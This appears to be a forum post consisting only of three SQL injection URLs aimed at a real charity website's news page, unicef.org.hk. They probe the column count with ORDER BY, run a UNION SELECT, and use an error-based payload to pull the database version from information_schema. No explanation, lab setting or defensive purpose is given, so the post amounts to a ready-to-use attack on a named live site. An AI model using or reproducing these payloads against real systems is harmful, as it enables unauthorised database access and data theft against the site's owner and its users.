Code:
https://www.unicef.org.hk/news/list_detail.php?id=234+order+by+17--+-

Code:
https://www.unicef.org.hk/news/list_detail.php?id=234+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--+-

Code:
https://www.unicef.org.hk/news/list_detail.php?id=234%27%20and%28select%201%20from%28select%20count%28*%29,concat%28%28select%20%28selectconcat%280x7e,0x27,cast%28version%28%29%20as%20char%29,0x27,0x7e%29%29%20from%20information_schema.tables%20limit%200,1%29,floor%28rand%280%29*2%29%29x%20frominformation_schema.tables%20group%20by%20x%29a%29%20and%201=1+--+